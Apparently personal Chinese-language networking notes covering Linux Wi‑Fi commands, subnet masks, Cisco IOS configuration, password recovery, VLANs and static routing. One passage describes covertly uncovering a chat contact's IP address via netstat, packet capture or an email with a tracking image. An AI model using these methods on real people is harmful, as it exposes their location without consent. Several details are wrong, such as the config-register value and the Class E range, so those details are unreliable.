iw wlp3s0 scan | grep SSID

连接 WIFI

wpa_supplicant -B -i wlp3s0 -c <(wpa_passphrase “TP-LINK_901” “123456789”)

将ssid 替换为实际的网络名称, psk 替换为无线密码,请保留引号。

Successfully initialized wpa_supplicant // 连接成功标志

开启 DHCP (必要!)

dhclient wlp3s0 要等好久的!

连上wifi后. 把iw wpa_supplicant dialog这三个都装了

fdisk -l 查看挂载信息 (识别不等于挂载) /dev/sdd

lsblk 看 U盘是哪个!!

创建目录来挂载 U盘

mkdir /mnt/usb

挂载U盘

mount/dev/sdd4 /mnt/usb

卸载U盘

umount /dev/sdd

查看U盘内容

cd /mnt/usb

删除目录

rm -rf home

复制文件夹

cp -r /mnt/usb /v/desktop

查ip.

日志查询?

qq 聊天
用的是 udp . 自动监控 udp 端口. 并记录.

4、命令查询法 这种方法是通过Windows系统内置的网络命令“netstat”,来查出对方好友的IP地址,不过该方法需要你先想办法将对方好友邀请到QQ的“二人世界”中说上几句话才可以。下面就是该方法的具体实现步骤: 首先单击“开始”/“运行”命令,在弹出的系统运行对话框中,输入“cmd”命令,单击“确定”按钮后,将屏幕切换到MS-DOS工作状态;然后在DOS命令行中执行“netstat -n”命令,在弹出的界面中,你就能看到当前究竟有哪些地址已经和你的计算机建立了连接(如果对应某个连接的状态为“Established”,就表明你的计算机和对方计算机之间的连接是成功的); 其次打开QQ程序,邀请对方好友加入“二人世界”,并在其中与朋友聊上几句,这样你的计算机就会与对方好友的计算机之间建立好了TCP连接;此时,再在DOS命令行中执行“netstat -n”命令,看看现在又增加了哪个tcp连接,那个新增加的连接其实就是对方好友与你之间的UDP连接,查看对应连接中的“Foreign Address”就能知道对方好友的IP地址了。

在线传输就是不通过腾讯服务器在2个QQ号直接直接通过UDP打洞传输数据,qq 所以只有在线传输文件这个办法可行。也就是说我们可以在给对放在线传输文件的时候,用wireshark之类的抓包,就能得到对方的ip地址。

构造一个邮件发送给对方,对方点开则很可能暴露ip 这个方法仍然需要你有一台自己的http主机,如果发送一封引用了自己网站图片的邮件给对方,假设邮件服务提供商安全做的不好,那么对方的浏览器在点开邮件的一瞬间,就会访问加载你http主机上的图片,对方的ip就留在你http服务器的log中了。

http://qsalg.com/?p=103

IPV4 转发

ip转发(ip 路由)简介: 接收一个IP包 → 决定往哪发送 → 发送 IP 包

Linux 默认 不需要开启 ip 转发功能.

如果需要架设 VPN服务 / Linux 路由器 就需要开启该功能.

编辑配置文件 永久生效 ( 0就是关闭 1就是开启 ) vi /etc/sysctl.conf 启动 ipv4 28行 去掉注释 把行尾的值改成1

配置好后 需要让配置生效: sysctl -p /etc/sysctl.conf

debian/ubuntu 用该命令 /etc/init.d/procps.sh restart 红帽系列:可以通过重启网络服务使之生效: service network restart

ip 掩码

/23是从192.168.0.1-192.168.1.254都是有效的主机地址

由于你的子网掩码是23位(二进制),所以只要你的IP后9为(二进制)不是9个0或9个1都能用。192.168.0.255后9位为0.11111111.,192.168.1.0的后9位1.00000000.,所以可以使用。

不要犹豫,当掩码不同时,本来不可用的那些IP是可能可以用的。一个IP在某个掩码时可能它是网络号或是广播地址,但到了另一个掩码,它就只是普通的IP地址。应该说在任何情况下都不能用的IP只有0.0.0.0 255.255.255.255  127.0.0.1等这种特殊的IP地址

子网掩码

互联网:很多小型网络构成. 每个小网络 都有很多电脑.

IP 地址 : 每个ip 都分割成 网络号 和主机号 → so 网络号 和 主机号 各多少位呢. 这就需要子网掩码 来实现额.

子网掩码 : 二进制. 由1/0 组成. 长度32位 . 左边是网络位 用1表示.1的数目等于网络位置的长度
右边是主机位 用0表示.0的数目等于网络位置的长度 主机号 全为1 表示网络的广播地址 主机号 全为0 表示网络的网络号 这两个是 特殊地址.
只有通过子网掩码 才能表明 一台电脑所在子网 与其他子网的关系 使网络正常工作.

比如 我们事情到的 网络号 是 210.73.a.b 该网络地址为c类IP地址,网络标识为“210.73.a”,主机标识为“b”。 比如这个 ip 下面 将来可能会有 16个子网.
那就用子网掩码的 第四字段的 前4位 来确定子网掩码
1111 1111.1111 1111.1111 1111.1111 0000
255.255.255.240

子网掩码: 决定 可能的子网数目 和 每个子网的主机数目 设置子网掩码: 先决定要划分的子网数目 和 每个子网的主机数目 将子网数目 变为二进制 表示 取得这个二进制的位数. 为 N 取得该 ip 的 类子网掩码(a/b/c 类 ip ) 将其主机地址部分 的前 n 位变为1 就能得出这个 ip 的子网掩码

例子: 将 B类 ip 168.195.0.0 划分27个子网 27 = 11011 二进制位数 是5. 将 B类的默认子网掩码的 255.255.0.0 的主机位置的前5位变成1 (B类地址 后两个字段是主机位,所以这里 第三个字段的前5位变成1) 得到 255.255.248.0 也就是这个 ip 实际能分成2^5=32-2=30 个子网 减去两个特殊地址(全1 和全0)

如果子网电脑数量 ≤ 254(2^8-2) 则 该主机地址位置 占<8个位置. 如果子网电脑数量 大于254 则 该主机地址位置 占>8个位置. 将子网掩码二进制 全变成1 然后 从后往前 主机位 占多少位就把多少位全变为0 这个就是子网掩码值.

子网掩码作用: 屏蔽 ip 地址的一部分 以区别 网络标识和主机标识 并说明该 ip 是在局域网上还是在互联网上.
将大的 ip 网络 划分成很多 小的 子网络.

掩码作用: 说明有子网 和 大概有几个子网 (范围表示)

使用子网是为了防止浪费ip 地址.

通过 ip 地址 和子网掩码 来确定某个电脑的 网络地址和主机号码 子网掩码一旦设定 那么网地址和主机地址也就固定了. 通过计算子网掩码 判断 两台电脑是不是在一个网段. ???

无子网: 对于无子网的 ip 地址 可以写成主机号为0 (255.255.255.255)的掩码 也可以缺省掩码 只写 ip.

有子网: ip 和 子网掩码 必须同时出现.

以下一段指定掩码为27位 (1111 1111, 1111 1111, 1111 1111, 1110 0000=>255.255.255.224 1.IP地址中的前3个字节表示网络号,后一个字节既表明子网号,又说明主机号,还说明两个IP地址是否属于同一个网段。 如果属于同一网络区间,这两个地址间的信息交换就不通过路由器。 如果不属同一网络区间,也就是子网号不同,两个地址的信息交换就要通过路由器进行。

对于IP地址为210.73.140.5的主机来说,其主机标识为5=>00000101, 对于IP地址为210.73.140.16的主机来说它的主机标识为16=>00010000, 以上两个主机标识的前面三位(总8位)全是000,说明这两个IP地址在同一个网络区域中,这两台主机在交换信息时不需要通过路由器进行。

210.73.60.1的主机标识为1=>00000001, 210.73.60.252的主机标识为252=>11111100, 这两个主机标识的前面三位000与111不同,说明二者在不同的网络区域,要交换信息需要通过路由器。其子网上主机号各为1和252。

对于A类地址来说默认的子网掩码是255.0.0.0; 对于B类地址来说默认的子网掩码是255.255.0.0; 对于C类地址来说默认的子网掩码是255.255.255.0;

利用子网掩码可以把大的网络划分成子网,即VLSM(可变长子网掩码),也可以把小的网络归并成大的网络即超网。

指明一个 ip 地址的 哪些位标识 是主机所在子网. 哪些位 是主机的位掩码
作用:将某个ip 地址 划分成网络地址 和主机地址两部分.

ip 地址32位. 前几位是网络前缀 后几位是主机号 192.168.1.1/21 = 192.168.1.1/255.255.248.0 1/21 : 掩码的前21位 是1 后11位是0 用二进制表示: 1111 1111.1111 1111.1111 1000.0000 0000 十进制 就是 255.255.248.0

192.168.0.1/24 即前24位是网络号。掩码即前24位为1,后8位为0. 用二进制表示为: 1111 1111.1111 1111.1111 1111.0000 0000 十进制即为255.255.255.0

子网掩码表示方法:

  • 和 ip 一样用 点分十进制表示
  • 在 ip 后面加上/ 及1-32的数字 1-32 表示子网掩码中网络标识位的长度.

如:192.168.1.1/24 的子网掩码也可以表示为255.255.255.0

计算 两个 ip 是不是在一个 网段. AND运算(AND运算法则:1 与1 = 1 ,1 与0 = 0 ,0 与1 = 0 ,0 与0 = 0 ,即当对应位均为1时结果为1,其余为0。)

示例一 I P 地址 192.168.0.1 子网掩码 255.255.255.0 转化为二进制进行运算: I P 地址 11000000.10101000.00000000.00000001 子网掩码 11111111.11111111.11111111.00000000 AND运算 11000000.10101000.00000000.00000000 转化为十进制后为: 192.168.0.0

示例二 I P 地址 192.168.0.254 子网掩码 255.255.255.0 AND运算 转化为二进制进行运算: I P 地址 11000000.10101000.00000000.11111110 子网掩码 11111111.11111111.11111111.00000000 AND运算 11000000.10101000.00000000.00000000 转化为十进制后为: 192.168.0.0

局域网的 ip 是自己设置的. 能设置多少个 ip 就由子网掩码决定. 分析 255.255.255.0
前三的字段的固定了 只能是192.168.0 所以只剩下最后一个字段 也就是2^8-2 = 254

分析 255.255.128.0 能有多少个 ip

前两的字段的固定了 十进制 128 = 二进制 1000 0000 需要7个位置
所以主机位置 总的有7+8 =15个位置 也就是有2^15 -2 个 ip.

外网ip : 网间部分 和 本地部分 内网 ip : 物理网络 和 主机部分 物理网络就是子网.

子网掩码: 不同的子网 使用不同的 子网号 ….

IP = 公有 IP + 私有 IP 公有IP: Internet 上使用 私有IP: 局域网中使用

5类 IP结构 : A B C D E

不同的互联网结构 ( 区分方法 看 IP 的第一字段数字 ) 网络号分发 : 互联网络信息中心 主机号分发 : 系统管理员

A类 0 + 网络号 7 位 + 主机号 24 位 0.0.0.0 - 127.255.255.255

00000000 → 0 ; 10000000 → 128 私有地址: 10.0.0.0 - 10.255.255.255 B类 10 + 网络号 14 位 + 主机号 16 位 128.0.0.0 - 191.255.255.255 10000000 → 128 ; 11000000 → 192 私有地址: 172.16.0.0 - 172.31.255.255 保留地址: 169.254.0.0 - 169.254.255.254 自动获取 IP + 没有可用的 DHCP 就会在这个保留地址段 临时获得一个 IP C类 110 + 网络号 21 位 + 主机号 8 位 192.0.0.0 - 223.255.255.255 11000000 → 192 ; 11100000 → 224 私有地址: 192.168.0.0 - 192.168.255.255 D类 1110 + 多播组号 28 位 224.0.0.0 - 239.255.255.255 11100000 → 224 ; 11110000 → 240 E类 11110 + 留待后用 27 位 240.0.0.0 - 247.255.255.255 1111000 → 240 ; 11111000 → 248

IP & Subnet : 都是一串 32bit 长的数字!!!! 分成4段落.

二进制: 十进制: 0000 0000,0000 0000,0000 0000,0000 00000.0.0.0 ……………… 中间大概有 2^32个 1111 1111,1111 1111,1111 1111,1111 1111255.255.255.255

IP = 网络号 + 主机号 方便 IP寻址操作

网络号 和 主机号 各多少位呢. 这就需要子网掩码来补充. *Subnet & IP 必须互相结合使用才有意义.

为什么要分 网络地址(外网) 和 主机地址(内网)

涉及通信原理.

  • 内网数据: 直接发送给对方. 局域网速度(非常快)
    • 外网数据: 通过路由器发送. 宽带速度 (慢!!)

怎么判断内外网: / 掩码的作用 *根据 本机子网掩码 和 本机 IP 可以算出 内网的整个网段. 再看对方IP 一眼就能看出对方 IP 在不在这个网段. 在就是内网,不在就是外网.

**所以 本机的掩码 不能随便设置的 !!! 范围小了 ….. 范围大了 本来要走路由器的网站,被误认为在内网,导致丢包(上不去网)


三类 IP 地址:

  • 单播地址 目的为 单个主机
    • 广播地址 目的为 给定网络上的所有主机
    • 多播地址 目的为 同一组内的所有主机

互联网结构:无数小型网络构成的,每个网络上都有许多主机. *基于子网掩码,管理员可以将网络进一步划分为若干子网。

Subnet 掩码

255.255.255.0

**掩码 = 网络位置(值是1 左边) + 主机位置(值是0右边)

1表示网络位置 0表示主机位置

**二进制 → 十进制: 11111111 → 255 11111110 → 254 表示: 这个内网下 只有 2-2个 IP 可用. 11111100 → 252 表示: 这个内网下 只有 4-2个 ip可用 11111000 → 248 11110000 → 240 11100000 → 224 11000000 → 192 10000000 → 128 00000000 → 0 表示: 这个内网下 只有 256-2个 IP 可用.

特殊的 如:192.168.0.0 这个表示网段!!!! 192.168.0.255 这个是广播地址 所以每个内网 实际会少2个可用 IP.

掩码需要连续的1 或者 0 所以 掩码没有多少个 也就几百种 !!!! 不可能有 255.255.255.253 这种掩码的!!

最常用掩码:

  1. 255.255.255.0 = /24 C类子网掩码

    32bit 中 前24个都是1 后面8位可用 可用IP:2^8-2= IP.

    1. **255.255.0.0 = /16 B类子网掩码 后面16位可用: 可用IP:2^16-2=

      1. **255.0.0.0 = /8 A类子网掩码

      2. 255.255.255.252 1111 1111,1111 1111,1111 1111,1111 1100

        PPP 链路的路由器上能看到 类似掩码下. 可用 IP 也就是2^2-2 个

特殊地址 主机号 全为1 表示网络的 广播地址 主机号 全为0 表示网络的 网络号

任何情况下都不能用的IP只有 下面几种特殊的IP地址 0.0.0.0  255.255.255.255   127.0.0.1

给公司设网段:

比如 我们事情到的 网络号 是 210.73.a.b 该网络地址为c类IP地址,网络标识为“210.73.a”,主机标识为“b”。 比如这个 ip 下面 将来可能会有 16个子网.
那就用子网掩码的 第四字段的 前4位 来确定子网掩码
1111 1111.1111 1111.1111 1111.1111 0000
255.255.255.240

子网掩码: 决定 可能的子网数目 和 每个子网的主机数目 设置子网掩码: 先决定要划分的子网数目 和 每个子网的主机数目 将子网数目 变为二进制 表示 取得这个二进制的位数. 为 N 取得该 ip 的 类子网掩码(a/b/c 类 ip ) 将其主机地址部分 的前 n 位变为1 就能得出这个 ip 的子网掩码

例子: 将 B类 ip 168.195.0.0 划分27个子网 27 = 11011 二进制位数 是5. 将 B类的默认子网掩码的 255.255.0.0 的主机位置的前5位变成1 (B类地址 后两个字段是主机位,所以这里 第三个字段的前5位变成1) 得到 255.255.248.0 也就是这个 ip 实际能分成2^5=32-2=30 个子网 减去两个特殊地址(全1 和全0)

如果子网电脑数量 ≤ 254(2^8-2) 则 该主机地址位置 占<8个位置. 如果子网电脑数量 大于254 则 该主机地址位置 占>8个位置. 将子网掩码二进制 全变成1 然后 从后往前 主机位 占多少位就把多少位全变为0 这个就是子网掩码值.

将大的 ip 网络 划分成很多 小的 子网络.

掩码作用: 说明有子网 和 大概有几个子网 (范围表示)

使用子网是为了防止浪费ip 地址.

通过 ip 地址 和子网掩码 来确定某个电脑的 网络地址和主机号码 子网掩码一旦设定 那么网地址和主机地址也就固定了.

无子网: 对于无子网的 ip 地址 可以写成主机号为0 (255.255.255.255)的掩码 也可以缺省掩码 只写 ip. 有子网: ip 和 子网掩码 必须同时出现.

以下一段指定掩码为27位 (1111 1111, 1111 1111, 1111 1111, 1110 0000 => 255.255.255.224 1.IP地址中的前3个字节表示网络号,后一个字节既表明子网号,又说明主机号,还说明两个IP地址是否属于同一个网段。 如果属于同一网络区间,这两个地址间的信息交换就不通过路由器。 如果不属同一网络区间,也就是子网号不同,两个地址的信息交换就要通过路由器进行。

对于IP地址为210.73.140.5的主机来说,其主机标识为5=>00000101, 对于IP地址为210.73.140.16的主机来说它的主机标识为16=>00010000, 以上两个主机标识的前面三位(总8位)全是000,说明这两个IP地址在同一个网络区域中,这两台主机在交换信息时不需要通过路由器进行。

210.73.60.1的主机标识为1=>00000001, 210.73.60.252的主机标识为252=>11111100, 这两个主机标识的前面三位000与111不同,说明二者在不同的网络区域,要交换信息需要通过路由器。其子网上主机号各为1和252。

利用子网掩码可以把大的网络划分成子网,即VLSM(可变长子网掩码),也可以把小的网络归并成大的网络即超网。

指明一个 ip 地址的 哪些位标识 是主机所在子网. 哪些位 是主机的位掩码
作用:将某个ip 地址 划分成网络地址 和主机地址两部分.

ip 地址32位. 前几位是网络前缀 后几位是主机号 192.168.1.1/21 = 192.168.1.1/255.255.248.0 1/21 : 掩码的前21位 是1 后11位是0 用二进制表示: 1111 1111.1111 1111.1111 1000.0000 0000 十进制 就是 255.255.248.0

192.168.0.1/24 即前24位是网络号。掩码即前24位为1,后8位为0. 用二进制表示为: 1111 1111.1111 1111.1111 1111.0000 0000 十进制即为255.255.255.0

子网掩码表示方法:

  • 和 ip 一样用 点分十进制表示
  • 在 ip 后面加上/ 及1-32的数字 1-32 表示子网掩码中网络标识位的长度.

如:192.168.1.1/24 的子网掩码也可以表示为255.255.255.0

局域网的 ip 是自己设置的. 能设置多少个 ip 就由子网掩码决定. 分析 255.255.255.0
前三的字段的固定了 只能是192.168.0 所以只剩下最后一个字段 也就是2^8-2 = 254

分析 255.255.128.0 能有多少个 ip

前两的字段的固定了 十进制 128 = 二进制 1000 0000 需要7个位置
所以主机位置 总的有7+8 =15个位置 也就是有2^15 -2 个 ip.

外网ip : 网间部分 和 本地部分 内网 ip : 物理网络 和 主机部分 物理网络就是子网.

子网掩码: 不同的子网 使用不同的 子网号 ….

子网掩码在平时碰到的就是 255.255.255.0,但在构建局域网的时候,对于网络管理人员来说是个很重要的事情,

ip 掩码

/23 是从192.168.0.1-192.168.1.254都是有效的主机地址

由于你的子网掩码是23位(二进制),所以只要你的IP后9为(二进制)不是9个0或9个1都能用。192.168.0.255后9位为0.11111111.,192.168.1.0的后9位1.00000000.,所以可以使用。

当掩码不同时,本来不可用的那些IP是可能可以用的。 一个IP在某个掩码时可能它是网络号或是广播地址,但到了另一个掩码,它就只是普通的IP地址。

例子: A: 222.21.160.6 掩码: 255.255.255.192 B: 222.21.160.73 掩码:255.255.255.192 a 给 b 发数据. 首先 判断 ab 是不是在同一网段. A: 11011110.00010101.10100000.00000110 A’s IP N: 11111111.11111111.11111111.11000000 Subnet B: 11011110.00010101.10100000.01001001 B’s IP 可以看出 就算除去后面6个0 不管, AB 的前几位还是有区别的 所以不在一个网段.

Cisco 防火墙 & Switch & VLAN & TFTP

  1. Console线首次配置,
  2. 开启Telnet/ssh 以后都用远程登录。

    注意:交换机和路由器的命令都是一样的.

查看 ARP: show arp

Man命令导出

man ls > a.txt    导出的文件 会有很多特殊的符号. 不方便打印

man ls | col -bfp > ls.txt
man tftp | col -bfp > xx.txt 加参数就好了.

命令行模式: 用户 → 特权 → 全局 → 接口 模式.

权限一级一级进的. 用户模式不能直接进入全局模式.

用户模式 : route> / switch>

默认进入的是用户模式,受限制极大.

特权模式 switch# / route#

“enable”(可简写为“en”) 可以查看并修改路由器或交换机的配置。

**特权模式常用命令:

  • show version :查看系统IOS版本  - show running-config :查看当前的配置信息
    • copy running-config startup-config :保存当前的配置 或者使用 write
      • erase startup-config :删除已保存的配置  - show startup-config :查看保存好的配置
        • show mac-address-table :查看交换机的mac地址表
          • show int 接口名称 :查看接口的信息  - show arp :查看ARP缓存表  - show ip route :查看路由表信息
        • show ip int brief :查看所有接口的IP地址信息。
          • no ip domain-lookup :禁用DNS查询
          • line con 0
          • exec-timeout 0 0 :不超时连接
        • logging synchronous :不启用时间同步,信息不打断输入命令

全局模式

route(config)# “config terminal”(可简写为conf t)

可配置路由器的静态条目等

ip route 目标网络 子网掩码 下一跳地址 :配置静态路由 ip route 0.0.0.0 0.0.0.0 下一跳地址  :配置默认路由

reload :重启路由器

接口模式 : route(config -if)#

inter fastethernet 接口名称 简写 int f

可配置此接口的名称,所做的配置也只对这个接口有效。

route(config)# inter fastethernet 0/1

主要是给接口配置IP地址以及开启接口等配置。

ip address IP地址 子网掩码 :给接口配置地址 no shutdown :开启接口 注意:在这些命令模式下,如果想要进入上层模式,可以使用以上命令,如果是想要返回下次模式呢?这时可以使用“exit”命令,逐层返回。

二、配置接口的IP地址以及配静态路由 要想给接口配置IP地址就必须进入到接口模式,所以我先要进入接口模式。

配置接口IP地址: route(config)# int f0/0 route(config-if)#ip add 192.168.1.1 255.255.255.0   #列如配置一个192.168.1.1的ip地址 no shutdown :开启该接口 配置静态路由: ip route 10.10.10.0 255.255.255.0 192.168.1.1 由于交换机不用设置IP地址,但是需要开启端口。 switch(config)#int range f0/1 -24   switch(config-if)#no shutdown 开启交换机的0-24个接口。

路由器、交换机密码的管理

  1. 配置的console口密码 `route(config)#line console 0 ``route(config-line)#password 密码 ``route(config-line)#login `
  2. 配置特权模式密码 `route(config)#enable password 密码 `
  3. 配置密文密码 上述配置的密码都是以明文显示,查看当前配置即可以查看到密码,这样很不安全,所以我们来使用以下方法来配置密码。 `route(config)#enable secret 密码   `上述是配置加密的特权密码,在同时使password和secret设置特权密码时,后者生效。 `route(config)#service password-encryption `上述方法可以将明文设置的密码进行加密。

  4. 恢复路由器密码 路由器的密码存在startup-config中,所以我们启动路由器时,必须绕过startup-config配置,然后重新设置密码。 如果要绕过startup-config配置只有修改寄存器的值,默认是 0x2102(十六进制的),将其改为0x2142即可。 下面总结一些路由器破解密码的步骤。
    1. 重启路由器,并同时按下Ctrl+Break键中断IOS的加载,路由器将进入ROMMonitor模式。
      1. 将配置寄存器的值改为0x2142,并重新启动路由器。 rommom>confreg 0x2142 rommom>reset
      2. 路由器再次重启,由于更改了 配置寄存器的值,路由器无法加载配置文件,因此不需要密码验证,进入配置模式后,手动将配置文件加载回来。 Route#copy startup-config running-config
      3. 这时可以使用show running-config查看路由器配置了那些密码,逐一更改密码即可。
      4. 将配置寄存器的值更改回来,并将所做的配置保存,重启路由即可生效。 Router(config)#config-register 0x2012 Router(config)#exit Router#copy running-config startup-config Router#reload
  5. 交换机密码的恢复 Cisco交换机密码存在flash中的配置文件config.text里,可以通过命令“dir”查看. 恢复密码和路由器的原理是一样的,都是绕过配置文件启动交换机即可, 路由器我们知道是修改寄存器的值,那么交换机呢?我们改怎么做呢? 原理很简单,将config.text文件改个名字,让系统在加载配置文件时找不到它,这样交换机在启动后就回到了出厂设置,登录交换机也就不需要密码了。 但是需要注意的是,进入IOS后,要不原来的配置恢复回来,在把密码改成自己的。 **交换机密码恢复步骤如下:
  6. 拔掉交换机的电源线,因为交换机没有开关机的按键,所以需要把电源重启交换机. 在重新接上交换机后,立刻按住交换机上的“mode”键,当看到配置界面显示“swith:”命令提示,便可松开“mode”键。 表示已近进入到一个专门用来中故障恢复的简单IOS。
    1. 使用提示的命令flash_init 初始化flash。

      1. 将config.text文件改名,并重启交换机。 switch:rename flash:config.text flash:config.txt switch:boot
      2. 现在就可正常进入IOS了,但是还需要做相关的配置才可以修改密码, 先要把配置文件的名字改回来,然后手动加载配置文件,最后就可以查看设置了那些密码,逐一更改即可。 switch# rename flash:config.txt flash:config.text switch# copy flash:config.text system:running-config switch# show running-config
      3. 最后保存配置即可。 switch#copy running-config flash:config.text

远程管理路由器,交换机

  1. 配置管理IP 由于路由器是三层设备,可以直接在器接口上配置IP地址,所以直接使用接口地址作为管理IP即可。 二交换机是二层设备,必须配置管理IP地址。我们可以通过给交换的虚拟接口配置IP,列如:交换机的管理IP为192.168.10.1 switch(config)#int vlan 1 switch(config)#ip add 192.168.10.1 255.255.255.0 switch(config)#no shutdown

  2. 配置VTY密码远程登录一台设备时,可以通过VTY(虚拟类型终端)密码做验证,基于安全考虑,没有配置VTY密码是无法实现远程登录的。 switch(config)#line vty 0 4    #表示同时允许VTY0-VTY4等5个虚拟终端连接 switch(config-line)#password 123 #VTYmima switch(config-line)#login

  3. 需要注意的是,如果仅仅是配置上述内容,还是无法达到远程管理的程度,应远程用户只有看,而没有修改的权限,所以需要设置一个特权密码即可。 switch(config)#enable secret 123

  4. 如果远程的交换机与管理员的主机不在同一个网段,就必须给交换机指定默认网关,否则无法实现远程登录。 switch(config)#ip default-gateway 192.168.10.254

**路由器,交换机的IOS备份与恢复 路由器,交换机的IOS备份与恢复工作,主要是使用TFTP.但是现在新型的路由器,交换机已近支持TCP协议传输了。

在此我就以TFTP描述备份和还原IOS的过程。 IOS备份工作如下: 1、下载Cisco TFTP Server工具,并创建TFTP服务器根目录。 2、在路由器上使用一下命令备份IOS。 `Route# copy flash tftp ``Address or name of remote host ? 192.168.10.2  #tftp服务器的地址 ``Source filename ? c2800nm-ipbase-mz.123-6e.bin  #系统ios的名称,可以使用dir命令查看 ``Destinaon filename c2800nm-ipbase-mz.123-6e.bin ?   #这里回车确认。 ` 这时可以查看tftp的根目录,就会发现已近有一个备份好的iso了。 如果要实现恢复工作则将Route# copy tftp flash 即可

导出配置文件 (交换机&防火墙&路由器 通用)

  1. 先在Win下面用 tftpd32 搭建好FTP 服务器.
    1. Telnet 进设备,en 进入高级模式 #copy startup-config tftp 输入 tftpd服务器 IP 输入要导出的文件名 回车. 去服务器上看导出的文件.

RiverStone 网关 配置导出

  1. telnet 进网关.
  2. en进特权模式

  3. 输入 ? 看看支持什么命令!!!!!. 发现有 copy

  4. 输入 copy ? 看 copy 支持的命令 [keyword] - One of the following keywords: scratchpad - Copy from the scratchpad configuration database dns-server - Copy from a DNS server rcp-server - Copy from a RCP server tftp-server - Copy from a TFTP server startup - Copy from the startup configuration database active - Copy from active configuration database (running system)

  5. 输入 copy active 变成下面这样了.

    SH-OFFICE-GATEWAY(copy-active)#

  6. 输入 ? 看支持的命令 : to / Ctrl-Z / top
  7. 输入 to ? 看支持命令. 这里选 tftp-server
  8. 输入 to tftp-server 输入TFTP服务器 IP 输入要导出的文件名(这个文件名必须已经在服务器中存在.) 大概就是 网关只能通过 tftp 修改已经存在的文件.而不能创建新文件. 也不能修改文件名.

路由器文件 (哪些要备份)

VLAN

VLAN 好处:

  1. 控制广播
    • 每个VLAN都是一个单独的广播域,广播信息只会在这个广播域里面传播。 从而大大减少了广播对网络宽带的占用,也提高了网络传输效率.
      • 并且一个VALN出现了广播风暴不会影响到其他的VLAN。
    1. 增强网络安全性

      不同的VLAN的电脑之间不能直接相互访问,就限制个别主机访问服务器资源。提高网络的安全性。

    2. 简化网络管理 由于VLAN可以根据不同的环境进行划分, 可以将不同地理位置的主机划分到同一个VLAN中,而不需要移动物理设备, 所以利用VLAN技术可以大大的减少管理员的工作量。

**VLAN的种类

  1. 静态VLAN (端口VLAN) 最常见的VLAN实现方式。 需要明确指定交换机的端口属于哪个VLAN。

    1. 动态VLAN 目前最普遍的实现方法是基于主机网卡MAC地址的动态VLAN。

      列如:在思科交换机上使用VLAN数据库模式配置一个ID为VLAN 10的VLAN。 Switch#vlan database Switch(vlan)#vlan 10 Switch(vlan)#exit 列如:在思科交换机上使用全局配置模式配置一个ID为VLAN 20的VLAN。 Switch#configure terminal Switch(config)#vlan 20 Switch(config-vlan)#exit 删除VLAN可以使用 Switch(vlan)#no vlan 10或Switch(config)#no vlan 20 2、将交换机的端口加入到相应的VLAN中。 列如:将交换机的f0/1-f0/10号端口加入到VLAN 10中。 Switch(config)#int range f0/1 -10 Switch(config-if-range)#switchport access vlan 10 Switch(config-if-range)#no sh Switch(config-if-range)exit 3、查看交换机VLAN的配置信息。 SWitch#show vlan brief

      配置VLAN Trunk 接入链路:通常属于一个VLAN,主机与交换机之间连接的链路就是接入链路。 中继链路:可以承载多个VLAN,中继链路常用来将一台交换机连接到其他交换机,或者是交换机连接到路由器。 Trunk的作用:使同一个VLAN能够跨交换机通信,中继链路之间都使用Trunk。 Trunk的配置 列如:将交换机的f0/24号端口配置为Trunk模式。 Switch(config)#int f0/24 Switch(config-if)#switchport mode trunk Switch(config-if)no sh Switch(config-if)exit 注意:只有中继链路两端都配置Trunk模式,中继链路才会生效。

      EthernetChannel(以太网通道) EthernetChannel通过捆绑多条以太链路来提高链路带宽,并运行一种机制,将多个一台网端口捆绑成一条逻辑链路。以太网通道最多可以捆绑8条物理链路。其中物理链路可以是双绞线的,也可以是光纤的。 配置以太网通道的前提条件 1、参与捆绑的端口必须属于同一个VLAN。如果是在中继模式下,要求所参与捆绑的端口都是在中继模式下(也就是Trunk模式),并且所有端口上配置相同的准许VLAN范围。 2、所有参与捆绑的端口的物理参数设置必须相同,应该有同样的速度和双工模式。 以太网通道的配置 例如:将交换机中继链路的f0/23和f0/24号端口捆绑成以太网通道。 Switch(config)#int range f0/23 -24 Switch(config-if-range)#switchport mode trunk Switch(config-if-range)#channel-group 1 mode on Switch(config-if-range)#no sh Switch(config-if-range)#exit

command

  • 版本信息: show version

switch(config)#hostname

  • 更改交换机名字.

检查、查看命令 show (sh) 开始

show flash 查看内存

show mac-address-table 查看 Mac 地址列表

两种方式 创建 vlan 全局配置模式下: vlan 10

或者 vlan database 下 创建 vlan: switch(vlan)vlan 20

更好局域网交换机名字 终端下 输入 hostname xx 就变成 xx 了.

创建 vlan xx(config) vlan 10 xx(config-vlan)# name xujian xx(config-vlan)# exit

把端口给 vlan

switch(config)# interface fastethernet0/1 进入端口配置模式 switch(config)# switchport mode access 配置端口为 access 模式 switch(config)# swtchport access vlan 10 把端口划分给 vlan 10

一次把多个端口 分给某Vlan :interface range

xx(config-if-range)#interface range fa0/5 -6

查看vlan信息 switch# show vlan

静态路由配置

了解静态原理

如:
一网络 里面 三个网段 192.168.1.1 192.168.2.1 192.168.3.1

1.1 下面的电脑 要访问 2.1/3.1 需要 数据包 发给 1.1 的路由器 1.1 的路由器 由于没有 2.1/3.1 的路由 所以需要 手动来 配置 静态路由. 数据是双向的 .

路由器1 需要 ip route 192.168.2.0 255.255.255.0 10.1.12.2 // 把 前往2.0网段的数据 发送给总的网关. 再进行转发.

动态路由:

静态路由: 网管 手工配置路由信息. 当拓扑图发生变化时候 网管要手工去改 路由表中的静态路由信息.

静态路由信息 默认情况下是 私有的 不会传递给别的路由器. 当然 网管可以通过对路由器进行设置使之成为共享的.

静态路由 适用简单网络环境. 网管比较了解网络的拓扑结构,方便正确设置路由信息.

优点: 网络安全 保密性高. 很少占用路由器 cpu 和 RAM 和线路带宽

动态路由: 路由器之间需要频繁的交换各自的路由表, 通过分析这些路由表 可以分析 出网络的 拓扑结构+网络地址等信息. 因此有安全隐患.

大型网络 不宜选用静态路由

一方面 网管难以全面了解 整个网络拓扑结构 另一面 当网络拓扑发生改变 静态路由表 需要大范围的调整 难度和复杂度非常高

静态路由举例:

IP 省略前面的 192.168.

PCA (0.2 ) <—> ( 0.1 ) Router1 ( 1.1 ) <—> ( 1.2 ) Router2 ( 2.1 ) <—? PCB ( 2.2 )

默认 A B 是不能通信的. A 不知道 B 的网段 ( 也就是没有去玩 B 网段的路由表 ) B 不知道 A 的网段 → 通信失败.

这时候 就需要 在 R1 R2 上 分别配置静态路由来使得 AB 可互通.

R1 上执行 添加静态路由的命令: ip route 192.168.2.0 255.255.255.0 192.168.1.1 // 告诉 R1 如果有去2.0网段的 IP 包, 将包发个 192.168.1.1

